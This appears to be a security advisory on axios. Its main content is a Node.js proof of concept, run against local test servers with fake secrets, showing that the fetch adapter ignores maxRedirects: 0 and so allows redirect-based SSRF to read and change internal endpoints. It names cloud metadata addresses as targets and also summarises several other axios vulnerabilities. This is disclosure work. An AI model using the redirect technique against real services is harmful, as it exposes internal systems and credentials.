1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal. 2. Start server B that returns INTERNAL. 3. Compare:
js await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
Workarounds
For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.
<details> <summary><h3>Original report</h3></summary> Summary
Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.
In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.
This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.
Details
The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:
js let { url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, withCredentials, fetchOptions, maxContentLength, maxBodyLength, } = resolveConfig(config); // maxRedirects is not extracted
The options object passed to fetch() has no redirect key:
js const resolvedOptions = { ...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };
Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.
The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
The behaviour difference between adapters is summarised below:
| Behaviour | HTTP adapter | Fetch adapter | |----------------------------------------|---------------------------------|--------------------------| | Reads config.maxRedirects | Yes | No | | Enforces maxRedirects: 0 | Yes -- throws on any redirect | No -- follows silently| | Strips Authorization cross-origin | Yes (follow-redirects >=1.15.8)| Runtime-dependent | | Strips Cookie cross-origin | Yes | Runtime-dependent |
When is the fetch adapter selected?
- Deno, Bun, Cloudflare Workers: no Node.js http module available; the adapter list falls through to 'fetch' - Explicit config: axios.get(url, { adapter: 'fetch' }) - Custom adapter list: axios.create({ adapter: ['fetch'] })
PoC
js import http from 'http'; import axios from './index.js';
// Server A: the "trusted" external target, issues open redirects to Server B const serverA = http.createServer((req, res) => { if (req.url === '/api/data') { res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' }); return res.end(); } if (req.url === '/api/change-config') { res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' }); return res.end(); } res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ ok: true })); });
let internalHits = 0; let internalConfig = {};
// Server B: the "internal" service, should be unreachable from the application const serverB = http.createServer(async (req, res) => { internalHits++;
if (req.url === '/internal/secrets') { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ secret: 'FAKEAWSSECRETACCESSKEYFORPOCONLY', role: 'arn:aws:iam::000000000000:role/FakeProductionRole', })); }
if (req.url === '/internal/admin/config') { internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' }; res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ reached: 'state-changing internal admin endpoint', changed: true, internalConfig, })); }
res.writeHead(404); res.end(); });
await Promise.all([ new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }), new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }), ]);
const targetUrl = 'http://127.0.0.1:13801/api/data'; const changeUrl = 'http://127.0.0.1:13801/api/change-config'; const internalUrl = 'http://127.0.0.1:13802/internal/secrets'; const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';
console.log('Axios maxRedirects bypass via fetch adapter PoC'); console.log(axios VERSION=${axios.VERSION}); console.log(maxRedirects=0); console.log(Target URL=${targetUrl}); console.log( redirects to ${internalUrl}); console.log(Change URL=${changeUrl}); console.log( redirects to ${internalCfg}); console.log('');
// CONTROL: HTTP adapter correctly enforces maxRedirects: 0 let httpBlocked = false; try { await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' }); console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown'); } catch (err) { httpBlocked = true; console.log([CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})); } console.log([CONTROL] Internal hits after HTTP adapter: ${internalHits});
// BYPASS: Fetch adapter silently ignores maxRedirects: 0 let fetchResponse = null; try { fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' }); console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗'); console.log(' Response:', JSON.stringify(fetchResponse.data)); } catch (err) { console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message); } console.log([BYPASS] Internal hits after fetch adapter: ${internalHits});
// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint let changedResponse = null; try { changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' }); console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data)); console.log([BYPASS] Internal hits after state change: ${internalHits}); } catch (err) { console.log('[BYPASS] State change request blocked (unexpected):', err.message); }
console.log('');
if (httpBlocked && fetchResponse && changedResponse) { console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,'); console.log(' reaching internal service and mutating internal state.'); } else if (httpBlocked && fetchResponse) { console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,'); console.log(' reaching internal service that should have been unreachable.'); } else if (!httpBlocked) { console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.'); } else { console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.'); }
serverA.close(); serverB.close();
Run:
bash node poc-max-redirects.mjs
Observed:
text Axios maxRedirects bypass via fetch adapter PoC axios VERSION=1.17.0 maxRedirects=0 Target URL=http://127.0.0.1:13801/api/data redirects to http://127.0.0.1:13802/internal/secrets Change URL=http://127.0.0.1:13801/api/change-config redirects to http://127.0.0.1:13802/internal/admin/config
[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERRBADRESPONSE) [CONTROL] Internal hits after HTTP adapter: 0 [BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗ Response: {"secret":"FAKEAWSSECRETACCESSKEYFORPOCONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"} [BYPASS] Internal hits after fetch adapter: 1 [BYPASS] Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}} [BYPASS] Internal hits after state change: 2
POC RESULT: fetch adapter followed redirects despite maxRedirects:0, reaching internal service and mutating internal state.
Control
Axios does correctly enforce maxRedirects: 0 in the HTTP adapter. The [CONTROL] case above confirms this: the same request with adapter: 'http' throws rather than following the redirect, and the internal hit counter stays at 0:
text [CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERRBADRESPONSE) [CONTROL] Internal hits after HTTP adapter: 0
The issue is not that maxRedirects is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no redirect constraint to the underlying fetch() call.
Impact
This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.
The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that maxRedirects: 0 is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.
The impact is environment- and configuration-dependent. It affects axios users who:
- Set maxRedirects: 0 as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration
In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that maxRedirects was not honoured. The failure is silent: no error is thrown, no warning is logged.
The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.
Potentially affected environments include:
- Deno and Bun applications using axios where the fetch adapter is the default. - Cloudflare Workers using axios, which has no Node.js http module. - Node.js applications that explicitly configure adapter: 'fetch' or a custom adapter list that resolves to fetch. - Any application that conditionally sets maxRedirects: 0 and runs across multiple environments with different adapter selection.
Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass.
This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection. </details>
---
Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.13.5, the mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service. This vulnerability is fixed in 1.13.5.
Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0, Axios does not correctly handle hostname normalization when checking NOPROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NOPROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NOPROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0.
Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. This vulnerability is fixed in 0.32.0 and 1.16.0.
Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.
Axios is a promise based HTTP client for the browser and Node.js. Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. This vulnerability is fixed in 0.32.0 and 1.16.0.
Axios is a promise based HTTP client for the browser and Node.js. Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. This vulnerability is fixed in 0.32.0 and 1.16.0.
Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.